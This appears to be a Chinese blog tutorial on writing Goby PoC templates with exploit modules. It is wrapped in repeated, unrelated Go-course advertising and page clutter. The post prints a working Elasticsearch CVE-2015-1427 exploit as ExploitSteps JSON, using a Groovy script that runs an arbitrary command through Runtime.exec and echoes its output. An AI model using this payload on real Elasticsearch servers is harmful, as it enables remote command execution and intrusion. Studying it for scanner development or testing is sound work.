2024年Go最全如何编写合格的 PoC 领取 Goby 红队专版_goby自定义poc(1),你会的还只有初级工程师的技术吗

img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上Go语言开发知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以戳这里获取

在这里插入图片描述

2.2 不太简单的PoC中的Exp

你以为PoC做好了?没有,一半了,如开头图中所示需要三个带Exp的漏洞,所有自己的PoC必须要Exp功能,然后Exp功能还没有图形化点一点的界面,而《Goby漏洞编写指南》中对Exp的制作也只有个例子,没看到详细解释(可能我没看全),但是有一个TP的demo,通过这个demo我们也能照猫画虎做Exp了。
在这里插入图片描述
制作Exp需要开启图形中的验证接口,你会好奇上图所示的“验证”为什么我没有,需要去手动编辑Exp模块了。

在这里插入图片描述

编辑器中可以看到你的PoC的json文件,默认的HasExp值为false,开启改true即可,ExpParams则是前端需要传递给 Exp 的参数,如要执行的命令。
以CVE-2015-1427为例需要自定义命令,一个输入参数,需要将ExpParams改为:

"ExpParams": [
    {
      "name": "cmd",
      "type": "input",
      "value": "whoami"
    }
  ]

不解释上述json了直接感受一下效果:

在这里插入图片描述

现在为止GUI中已经开启Exp了,但实际还没有“验证”功能,需要再回到“编辑器”中编写“验证功能”,找到json中的ExploitSteps默认值为null,继续以CVE-2015-1427为例需要两次Requests修改为:

"ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "POST",
        "uri": "/website/blog/",
        "follow\_redirect": true,
        "header": {
          "Accept-Encoding": "gzip, deflate",
          "Accept": "\*/\*",
          "Connection": "close",
          "Accept-Language": "en",
          "Content-Type": "application/x-www-form-urlencoded"
        },
        "data\_type": "text",
        "data": "{ \"name\": \"cve-2015-1427\" }"
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "201",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "output|lastbody"
      ]
    },
    {
      "Request": {
        "method": "POST",
        "uri": "/\_search?pretty",
        "follow\_redirect": true,
        "header": {
          "Accept-Encoding": "gzip, deflate",
          "Accept": "\*/\*",
          "Connection": "close",
          "Accept-Language": "en",
          "Content-Type": "application/text"
        },
        "data\_type": "text",
        "data": "{\"size\":1, \"script\_fields\": {\"lupin\":{\"lang\":\"groovy\",\"script\": \"java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"{{{cmd}}}\\\").getText()\"}}}"
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "200",
            "bz": ""
          },
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "460f7ccb583e25e09c0fe100a2c9e90d",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "output|lastbody|regex|(?s)\"lupin\" : \\[ \"(.\*)\" \\]"
      ]
    }
  ]

可以看到上述json中 Requests 和PoC中的ScanSteps的Requests 是一致的,就不难理解是同样的发包,只不过一个在ScanSteps一个是ExploitSteps,现在应该也就大概理解这个json的大致功能了,上边看着乱简化一下:

"ExploitSteps": [
    "AND",
    {
      "Request": {xxxxxx},
      "ResponseTest": {xxxxxx},
      "SetVariable": [xxxxxx]
    },
    {
      "Request": {xxxxxx},
      "ResponseTest": {xxxxxx},
      "SetVariable": [xxxxxx]
    }
  ]

到这里应该都指知道Requests用来发包,ResponseTest用来判断是否满足判断SetVariable则会在“验证”功能中回显Body。
我在看官方提供的Exp demo中发现TP的RCE去掉了ResponseTest,我也跟着试,结果只发送第一个Requests不发第二个,后续找@go0p发现是去掉了ResponseTest的锅。
最后控制一下RCE的回显,TP的demo中SetVariable写的是:

"SetVariable": [
        "output|lastbody"
      ]

这里的效果就是显示整个Body。
在这里插入图片描述

看起来比较凌乱,不过SetVariable中也有过滤可用,例如regex去正则。

"SetVariable": [
        "output|lastbody|regex|(?s)\"lupin\" : \\[ \"(.\*)\" \\]"
      ]

在这里插入图片描述

到这里一个带Exp的PoC就制作好了,如果你觉得PoC逻辑编写没为题但又怎么都不成功就只能反复测试反复抓包了,找你的wireshark好帮手,慢慢测慢慢排,最终完整的PoC一定出的来。

img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上Go语言开发知识点,真正体系化!

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以戳这里获取

基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,涵盖了95%以上Go语言开发知识点,真正体系化!**

由于文件比较多,这里只是将部分目录截图出来,全套包含大厂面经、学习笔记、源码讲义、实战项目、大纲路线、讲解视频,并且后续会持续更新

如果你需要这些资料,可以戳这里获取

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值